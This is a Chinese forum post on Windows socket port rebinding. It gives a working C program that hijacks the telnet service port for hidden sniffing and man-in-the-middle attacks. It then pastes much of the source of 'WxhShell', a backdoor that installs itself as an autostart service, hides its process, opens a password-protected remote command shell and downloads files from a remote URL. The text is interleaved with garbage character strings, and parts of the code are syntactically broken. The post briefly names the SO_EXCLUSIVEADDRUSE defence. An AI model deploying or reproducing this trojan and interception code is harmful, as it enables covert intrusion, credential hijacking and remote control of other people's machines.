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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |b4f3n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B3 |G&Kg  
-}1TT@  
  saddr.sin_family = AF_INET; '=0l{hv@  
p`2Q6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oFb~|>d  
F%f)oq`B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =O/v]B8"  
=w!2R QB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I~GHx5Dk  
G0A\"2U  
  这意味着什么?意味着可以进行如下的攻击: _+j#.o>  
j&u/T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6p9 { z42  
&5[B\yv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j}O qWX>/  
~h:(9q8NLC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z=TO G P(  
GExr] 2r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^(s(4|  
^xgqs $`7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <#wVQ\0C  
~Ajst!Y7=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )HcLpoEi  
D |=L)\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  |e<$  
JZK93R  
  #include M0g=gmau  
  #include _K&Hiz/'  
  #include m[z $y  
  #include    [mQdc?n\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ##%&*vh  
  int main() sjOv!|]A  
  { F9Af{*Jw?x  
  WORD wVersionRequested; &6vWz6!P  
  DWORD ret; D2GF4%|  
  WSADATA wsaData; ]Ok'C"V(j  
  BOOL val; f[ 2PAz  
  SOCKADDR_IN saddr; OwEu S#-  
  SOCKADDR_IN scaddr; fC 3T\@(&  
  int err; jABFdNjri  
  SOCKET s; ( et W4p  
  SOCKET sc; ak-agH  
  int caddsize; RO|8NC<oj  
  HANDLE mt; 4"H *hKp  
  DWORD tid;   7#W]Qj  
  wVersionRequested = MAKEWORD( 2, 2 ); }n "5r(*^@  
  err = WSAStartup( wVersionRequested, &wsaData ); ^_i)XdPU  
  if ( err != 0 ) { :|$cG~'J  
  printf("error!WSAStartup failed!\n"); xticC>  
  return -1; yXoNfsv  
  } :8]8[  
  saddr.sin_family = AF_INET; AorY#oq  
   ks\q^ten  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U[|5:qWs  
7#d:TXS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L"/ ?[B":  
  saddr.sin_port = htons(23); 2Wu`Dp;&l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -KV,l  
  { vy}_aD{B  
  printf("error!socket failed!\n"); 2m]4  
  return -1; #g0_8>t  
  } t$%<eF@w  
  val = TRUE; 1 z~|SmP1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4sntSlz)~k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J4"A6`O  
  { RRPPojKZ  
  printf("error!setsockopt failed!\n"); V8):!  
  return -1; j~1K(=Ng  
  } [5p3:D  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;y. ;U#O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q,JH/X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =1dczJHV  
P8}IDQ9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z{BK@Q4z  
  { gm2|`^Xq$  
  ret=GetLastError(); ]7cciob  
  printf("error!bind failed!\n"); = g &  
  return -1; LdH1sHy*d`  
  } eOiH7{OA,  
  listen(s,2); W{.:Cf9  
  while(1) ; M0`8MD  
  { {q`8+$Z;  
  caddsize = sizeof(scaddr); n}F$kyI  
  //接受连接请求 %6 Av1cv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u-|%K.A  
  if(sc!=INVALID_SOCKET) gJr)z7W'8  
  { MymsDdQ]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;$6L_C4B  
  if(mt==NULL) |Vqm1.1/Zv  
  { )K@D4sl  
  printf("Thread Creat Failed!\n"); NZv8#  
  break;  ..E_M$}  
  } e|~{ X\l  
  } r<1W.xd":  
  CloseHandle(mt); MYvz%7  
  } Q2Ey RFT  
  closesocket(s); zO\_^A|8H  
  WSACleanup(); eA2*}"W  
  return 0; r3U7`P   
  }   $peL1'Evo  
  DWORD WINAPI ClientThread(LPVOID lpParam) F/lL1nTdK  
  { TM{m:I:Z*n  
  SOCKET ss = (SOCKET)lpParam; *~6]IWN`  
  SOCKET sc; ]~dB| WB  
  unsigned char buf[4096]; d!:/n  
  SOCKADDR_IN saddr; ";(m,i f-  
  long num; Z{B[r;  
  DWORD val; iUh7eR9  
  DWORD ret; hs;|,r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [_xOz4`%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ym6Emf]  
  saddr.sin_family = AF_INET; =Xr{ Dg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,B/TqPP  
  saddr.sin_port = htons(23); ,?j!c*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2& Hl wpx  
  { |>U<EtA"  
  printf("error!socket failed!\n"); "~=}&  
  return -1; HI D6h!  
  } 8M!9gvcaO  
  val = 100; tQ; Fgv8Y!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KS~Q[-F1P  
  { 9mMQ  
  ret = GetLastError(); nY1PRX\  
  return -1; [*) 2Ou  
  } qfFa" a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AX@bM  
  { Y(rQ032s  
  ret = GetLastError(); 7 8xiT  
  return -1; NPBOG1q%  
  } >/C,1}p[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2i6P<&@  
  { )0 6. dZq\  
  printf("error!socket connect failed!\n"); olo9YrHn  
  closesocket(sc); &JLKHwi/  
  closesocket(ss); E?K(MT&@  
  return -1; mrE> o !  
  } gEVoY,}/-U  
  while(1) <4?(|Vh[m]  
  { Us&~d"n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !h1|B7N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?5d[BV   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bsc b  
  num = recv(ss,buf,4096,0); !C' Y 7  
  if(num>0) f]Z9=  
  send(sc,buf,num,0); 6 ;\>,  
  else if(num==0) O'k<4'TC  
  break; W7V#G(cpU  
  num = recv(sc,buf,4096,0); =%FhY^-  
  if(num>0) LwQYO'X  
  send(ss,buf,num,0); MGKSaP;x  
  else if(num==0) =cR=E{20  
  break; ^jo*e,y:  
  } )lx;u.$4  
  closesocket(ss); N':d T  
  closesocket(sc); F*B^#AZg  
  return 0 ; x2]chN  
  } d{'u97GDc  
vN)l3  
Z=s]@r  
========================================================== h5H#xoCXp  
? O e,  
下边附上一个代码,,WXhSHELL (TGG?V  
>RmL0d#B  
========================================================== ?B4X&xf.D  
|Tl2r,(+R  
#include "stdafx.h" A}03s6^i;  
`Yu4h+T  
#include <stdio.h> V@ph.)z  
#include <string.h> z"@UNypc,  
#include <windows.h> _ <pO<S  
#include <winsock2.h> 9d,2d5Y  
#include <winsvc.h> qc^qCGy!z  
#include <urlmon.h> -f[95Z3}  
^pa -2Ao6  
#pragma comment (lib, "Ws2_32.lib") mt3j$r{_  
#pragma comment (lib, "urlmon.lib") Rwz (20n\^  
)VR/a  
#define MAX_USER   100 // 最大客户端连接数 e~BUAz  
#define BUF_SOCK   200 // sock buffer ulnlRx  
#define KEY_BUFF   255 // 输入 buffer -u 'BK@;  
k<NEauQ  
#define REBOOT     0   // 重启 6Yx/m  
#define SHUTDOWN   1   // 关机 UzmD2A sO"  
olf7L%  
#define DEF_PORT   5000 // 监听端口 @460r  
Bso3Z ^X.  
#define REG_LEN     16   // 注册表键长度 mo3HUXf}8  
#define SVC_LEN     80   // NT服务名长度 KF`@o@,  
4m$Xjj`vE  
// 从dll定义API yY42+%P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6>B_ojj:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o@0p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )o8]MWT\;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RBzBR)@5   
:CAbGs:56  
// wxhshell配置信息 U#!f^@&AB  
struct WSCFG { T"$yh2tSY  
  int ws_port;         // 监听端口 =m?x|Zc_v  
  char ws_passstr[REG_LEN]; // 口令 ^8yhx-mgb  
  int ws_autoins;       // 安装标记, 1=yes 0=no /? j vv&  
  char ws_regname[REG_LEN]; // 注册表键名 RK`C31Ws  
  char ws_svcname[REG_LEN]; // 服务名 &*#- %<=1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]2P*Z6Az  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &qP&=( $  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sh%snLw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gf8DhiB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !4f0VQI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tb-:9*2j-  
4>&%N\$*  
}; hs"=>(P)  
2%Y]M%P  
// default Wxhshell configuration ED={OZD8  
struct WSCFG wscfg={DEF_PORT, ^sp+ sr :  
    "xuhuanlingzhe", O:Fnxp5@  
    1, X^U)j N2  
    "Wxhshell", .*s1d)\:  
    "Wxhshell", E$'Zd,|f=  
            "WxhShell Service",  S=o1k  
    "Wrsky Windows CmdShell Service", Uva b*9vX  
    "Please Input Your Password: ", <Yk#MeiEp  
  1, =;9*gDfD  
  "http://www.wrsky.com/wxhshell.exe", i0%S6vmaS  
  "Wxhshell.exe" Xk_xTzJ  
    }; C]tHk)<|42  
%/o8-N|_[  
// 消息定义模块 rVx%"_'*-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h98_6Dw(]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f<V#Yc(U }  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y^#jM  
char *msg_ws_ext="\n\rExit."; yu'2  
char *msg_ws_end="\n\rQuit."; a+TlZE>8  
char *msg_ws_boot="\n\rReboot..."; 1Y"[Qs]"mU  
char *msg_ws_poff="\n\rShutdown..."; v(? ^#C>6W  
char *msg_ws_down="\n\rSave to "; 06 kjJ4  
0B^0,d(s  
char *msg_ws_err="\n\rErr!"; +)#d+@-  
char *msg_ws_ok="\n\rOK!"; MZGN,[~)6  
8,BNs5  
char ExeFile[MAX_PATH]; ZqHh$QBD 9  
int nUser = 0; 2Rc'1sCth-  
HANDLE handles[MAX_USER]; xr uQ=Q  
int OsIsNt; GoI3hp(  
%t&5o>1C  
SERVICE_STATUS       serviceStatus; 4+t9"SD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h2 2-v X  
O Xy>Tlv  
// 函数声明 ]VifDFL}  
int Install(void); ^mLZT*   
int Uninstall(void); aHosu=NK  
int DownloadFile(char *sURL, SOCKET wsh); `p@YV(  
int Boot(int flag); P;D)5yP092  
void HideProc(void); 3%?01$k  
int GetOsVer(void); bq/*99``  
int Wxhshell(SOCKET wsl); d`D<PT(\  
void TalkWithClient(void *cs); Ht UFl  
int CmdShell(SOCKET sock); qEC -'sl<  
int StartFromService(void); o +sb2:x  
int StartWxhshell(LPSTR lpCmdLine); `+[e]dH  
F V8K_xj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `A8nAgbe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8=rD'*  
p2N;-  
// 数据结构和表定义 C%ibIcm y  
SERVICE_TABLE_ENTRY DispatchTable[] = 5?+ECxPt  
{ xS%Z   
{wscfg.ws_svcname, NTServiceMain}, ?\MvAG7Y  
{NULL, NULL} " (c#H  
}; q@K;u[zFK  
vd Fy}#X  
// 自我安装 aZt5/|B  
int Install(void) 8W$uw~|dw  
{ ^z #'o  
  char svExeFile[MAX_PATH]; 3+mC96wN  
  HKEY key; %N#8D<ULd  
  strcpy(svExeFile,ExeFile); >p4#AfGF  
} %_h|N  
// 如果是win9x系统,修改注册表设为自启动 OfC0lb:c  
if(!OsIsNt) { GxWA=Xp^~G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /QDlm>FM4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tZlz0BY!  
  RegCloseKey(key); %Q:i6 ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gqR?hZD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iM;7V*u  
  RegCloseKey(key); %N 8/g]`7  
  return 0; H^cB ?i  
    } asT:/z0  
  } mo1(dyjx  
} aa:Oh^AJy  
else { rYUhGmg`  
U$o\?4  
// 如果是NT以上系统,安装为系统服务 zlC|Spaf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); / sI0{  
if (schSCManager!=0) 8 x$BbK  
{ `p`)D 6  
  SC_HANDLE schService = CreateService rb_ cm  
  ( b|F_]i T  
  schSCManager, fpbb <Ro  
  wscfg.ws_svcname, 4naL2 Y!  
  wscfg.ws_svcdisp, |0 #J=am  
  SERVICE_ALL_ACCESS, kfaRN ^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ld58R  
  SERVICE_AUTO_START, l$KC\$?%*  
  SERVICE_ERROR_NORMAL, 8z&7wO  
  svExeFile, n(^{s5 Rr  
  NULL, IV$pA`|V  
  NULL, [4uTp[U!r  
  NULL, ,4$ZB(\  
  NULL, mY9^W2:  
  NULL 1U[8OM{$  
  ); p9w<|ZQ]:  
  if (schService!=0) E!.>*`)?.  
  { FoY_5/  
  CloseServiceHandle(schService); UFnz3vc  
  CloseServiceHandle(schSCManager); F9rxm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); II$B"-  
  strcat(svExeFile,wscfg.ws_svcname); sE87}Lz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,!U._ic'B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #rSm;'%,  
  RegCloseKey(key); ZMO7 o 1"  
  return 0; JWhi*je  
    } 6Yw;@w\  
  } s=0z%~H  
  CloseServiceHandle(schSCManager); [DS.@97n  
} J})G l  
} 5Vo8z8]t`  
 ;0G+>&C8  
return 1; ??& Q"6Oe  
} '0QrM,B9  
e1$T%?(&[  
// 自我卸载 Le#>uWM  
int Uninstall(void) 9 cU]@j}2  
{ 8Jnb/A}  
  HKEY key; olc7&R  
l-` M 9#  
if(!OsIsNt) { = GUgb2TAT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (tQ#('(w  
  RegDeleteValue(key,wscfg.ws_regname); nrqr p  
  RegCloseKey(key); e UMOV]h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'qR)f\em  
  RegDeleteValue(key,wscfg.ws_regname); DC?U +  
  RegCloseKey(key); ;vM&se63  
  return 0; uE{r09^q\  
  } !S6zC >  
} OW}ny  
} BYjEo  
else { xgsEJE  
a3t[Tk;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f(}?Sp_  
if (schSCManager!=0) `M0m`Up  
{ klkshlk d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L1P.@hJ  
  if (schService!=0) (^h2 'uB  
  { fpd4 v|(  
  if(DeleteService(schService)!=0) { Mn`);[  
  CloseServiceHandle(schService); mn5y]:;`  
  CloseServiceHandle(schSCManager); [PXv8K%]p  
  return 0; b+b].,  
  } &lnr?y^  
  CloseServiceHandle(schService); e,J q<=j  
  } {lv@V*_Y0  
  CloseServiceHandle(schSCManager); SSCyq#dl$  
} {tE9m@[AF  
} {=3&_/9s){  
fXo$1!  
return 1; = Ob-'Syg>  
} X ? eCK,  
hj4!* c  
// 从指定url下载文件 4%refqWK  
int DownloadFile(char *sURL, SOCKET wsh) d8N{sT  
{ %s&"gWi  
  HRESULT hr; $"e$#<g  
char seps[]= "/"; &/+LY_r'<I  
char *token; zE,1zBS<  
char *file; ;T-`~  
char myURL[MAX_PATH]; g \;,NW^  
char myFILE[MAX_PATH]; Z'!Ii+'6  
Vi 9Kah+  
strcpy(myURL,sURL); 8'<RPU}M  
  token=strtok(myURL,seps); kleE\ 8_  
  while(token!=NULL) rq(9w*MW:  
  { O su 75@3  
    file=token; `f)X!S2l  
  token=strtok(NULL,seps); . DrGr:UW  
  } u{J\X$]  
bJ!(co6t  
GetCurrentDirectory(MAX_PATH,myFILE); ka c-@  
strcat(myFILE, "\\"); +,q#'wSQG  
strcat(myFILE, file); O\X=vh/D  
  send(wsh,myFILE,strlen(myFILE),0); e'dx Y(  
send(wsh,"...",3,0); yg WwUpY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +~n"@ /  
  if(hr==S_OK) q.:j yj6  
return 0; p3Z[-2I  
else JTcE{i  
return 1; J ]ri|a  
|-Q="7b%  
} P;bOtT --  
a/Ik^:>m  
// 系统电源模块 J;5G]$s  
int Boot(int flag) o>^ @s4t  
{ os[i  
  HANDLE hToken; -~NjZ=vPh  
  TOKEN_PRIVILEGES tkp; u OB`A-K  
dF+R q|n{  
  if(OsIsNt) { R^VmNj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CyKupJ.Fq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OI)U c .  
    tkp.PrivilegeCount = 1; L"It0C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z^Y4:^L~I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F7&Oc)f"B  
if(flag==REBOOT) { QI4a@WB]ok  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HV[*=Qi  
  return 0; k/m-jm_h  
} 7hAc6M$h;  
else { oTb4T=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #@Rtb\9  
  return 0; -&0HAtc  
} tD+K4 ^  
  } !glGW[r/7  
  else { U&OE*dq  
if(flag==REBOOT) { Ey]P >J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t}fU 2Yb  
  return 0; PS/00F/Ak  
} Stk'|-z  
else { Rf#t|MW*#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :rnj>U6<>  
  return 0; v]U0@#/p  
} /rzZU}3[  
} *GC9o/  
5@`DS-7h  
return 1; I`[s(C>3@  
} x0ICpt{;  
vFH1hm  
// win9x进程隐藏模块 c n^z=?  
void HideProc(void) GU]_Z!3  
{ } !1pA5x$  
/u pDbP.O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |YK4V(5x  
  if ( hKernel != NULL ) 11BfJvs:  
  { F:cenIaBF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {f[X)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PJ'.s  
    FreeLibrary(hKernel); T)#eaz$4W  
  } vj+ S  
J/ZC<dkYQ  
return; '/Ag3R  
} Q+=D#x  
gs9VCaIa  
// 获取操作系统版本 Ukg iSv+  
int GetOsVer(void) O K2|/y  
{ \"AzT{l!;  
  OSVERSIONINFO winfo; SAtK 'Jx[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I+FQ2\J*H  
  GetVersionEx(&winfo); v@;!fBUt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |c3Yh,Sv  
  return 1; )@\m0bnF  
  else UWW_[dJr   
  return 0; 0Lki (  
} s5D<c'-  
X7{ h/^  
// 客户端句柄模块 (d$ksf_[%f  
int Wxhshell(SOCKET wsl) [" nDw<U  
{ ,`;Dre  
  SOCKET wsh; u<a =TPAU  
  struct sockaddr_in client; *u?N{LkqS  
  DWORD myID; HT6+OK(~dJ  
KvfZj  
  while(nUser<MAX_USER) $][$ e  
{ o7WK"E!pF'  
  int nSize=sizeof(client); A3c&VT6Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /;\{zA$uC=  
  if(wsh==INVALID_SOCKET) return 1; s2M|ni=  
L !V6 Rfy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PTFe>~vr*  
if(handles[nUser]==0) ]eD5It\  
  closesocket(wsh); sPUn"7  
else ';OZP2  
  nUser++; rP7~ R  
  } F^)SQ%xx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1X$hwkof  
2E d  
  return 0; ]f~mR_E  
} E]26a,^L  
~[d|:]  
// 关闭 socket FsyM{LT  
void CloseIt(SOCKET wsh) #pm0T1+jW  
{ 9Di@r!Db  
closesocket(wsh); BV`,~n:  
nUser--; "8|a4Y+F  
ExitThread(0); r:*0)UZlD  
} 8>y!=+9_  
D%=FCmL5@=  
// 客户端请求句柄 8wQ|Ep\  
void TalkWithClient(void *cs) dDoKmuY>5  
{ [#hoW"'Q9  
@3@oaa/v  
  SOCKET wsh=(SOCKET)cs; jaq`A'o5  
  char pwd[SVC_LEN]; y8QJ=v* B  
  char cmd[KEY_BUFF]; %Yi^{ZrM  
char chr[1]; TaN]{k  
int i,j; -g;cg7O#(  
6rD Oa~<B  
  while (nUser < MAX_USER) { E0Neo _7  
&lp5W)D  
if(wscfg.ws_passstr) { `[*nUdG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xzp!X({   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zg#VZg1 2  
  //ZeroMemory(pwd,KEY_BUFF); <#r/4a"V  
      i=0; JM?X]l  
  while(i<SVC_LEN) { |`50Tf\J  
8w|-7$ v  
  // 设置超时 `43X? yQ  
  fd_set FdRead; @h&crI[c  
  struct timeval TimeOut; UZ"jQJQ  
  FD_ZERO(&FdRead); |VPJaiC~  
  FD_SET(wsh,&FdRead); SpB\kC"K  
  TimeOut.tv_sec=8; X\a*q]"_  
  TimeOut.tv_usec=0; l5R0^!t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D'! v9}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M_Qv{   
=vaC?d3   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |dxcEjcY_  
  pwd=chr[0]; ojA i2uz  
  if(chr[0]==0xd || chr[0]==0xa) { }}g.L|  
  pwd=0; uuA q\YZy/  
  break; a9=pZ1QAG  
  } }9qbF+b  
  i++; RrPo89o  
    } 1Y-m=~J7  
!7KSNwGu  
  // 如果是非法用户,关闭 socket d,R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]^j'2nJv0  
} 8<VO>WA>E  
0xe!tA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d? Old  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H*Tc.Ie  
hLZ<h7:  
while(1) { ?y@RE  
qXH\e|  
  ZeroMemory(cmd,KEY_BUFF); &s|a\!>l  
p..O;_U  
      // 自动支持客户端 telnet标准   ZDI%?.U  
  j=0; krw_1Mm  
  while(j<KEY_BUFF) { 7HpfHqJ7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jx:t(oUR+  
  cmd[j]=chr[0]; @LzqQ [  
  if(chr[0]==0xa || chr[0]==0xd) { *f?z$46  
  cmd[j]=0; |9;6Cp  
  break; x1$:u6YD22  
  } I.M@we/bR}  
  j++; '>}dqp{Wr  
    } Z]1=nSv  
Zj*kHjn"  
  // 下载文件 Ls<.&3X2  
  if(strstr(cmd,"http://")) { wO&edZ]zb^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zewx*Y|  
  if(DownloadFile(cmd,wsh)) abHW[VP9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |b@H]c;"  
  else ># q2KXh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {EoRY/]  
  } wc3OOyP@0  
  else { 1;\A./FVv  
5,>Of~YN  
    switch(cmd[0]) { Ag>E%N  
  D*>EWlZ   
  // 帮助 3 e19l!B  
  case '?': { `Jvy~T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %<g(EKl  
    break; 'E4`qq  
  } ,s%1#cbR  
  // 安装 an4^(SY  
  case 'i': { V-y"@0%1  
    if(Install()) e b])=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GAZTCkB"  
    else Zy}Qc")Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hnQDm$k  
    break; <K~> :4c  
    } LP{{PT.&X  
  // 卸载 ;B35E!QJ  
  case 'r': { ^J?ExMu  
    if(Uninstall()) ?P+n0S!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )yV|vn  
    else ~*3obZ2>2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E&\dr;{7  
    break; wD|3Czc  
    } P87!+pB(  
  // 显示 wxhshell 所在路径 vhw"Nl  
  case 'p': { ;XJK*QDN  
    char svExeFile[MAX_PATH]; &&iZ?JteZ  
    strcpy(svExeFile,"\n\r"); NLe+  
      strcat(svExeFile,ExeFile); HaP0;9q  
        send(wsh,svExeFile,strlen(svExeFile),0); tK<GU.+  
    break; P!?Je/ Tz]  
    } < V?CM(1C  
  // 重启 KRS_6G],{  
  case 'b': { a:C'N4K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %G%##wv:  
    if(Boot(REBOOT)) j1!P:(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zw{cli&S  
    else { !6eXJ#~[E  
    closesocket(wsh); Nw'3gJ:  
    ExitThread(0); MCamc  
    } 1Aq*|JSk(  
    break; B;M{v5s~]  
    } c65_E<5Z  
  // 关机 ;H#'9p,2  
  case 'd': { I0 y+,~\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )oOcV%  
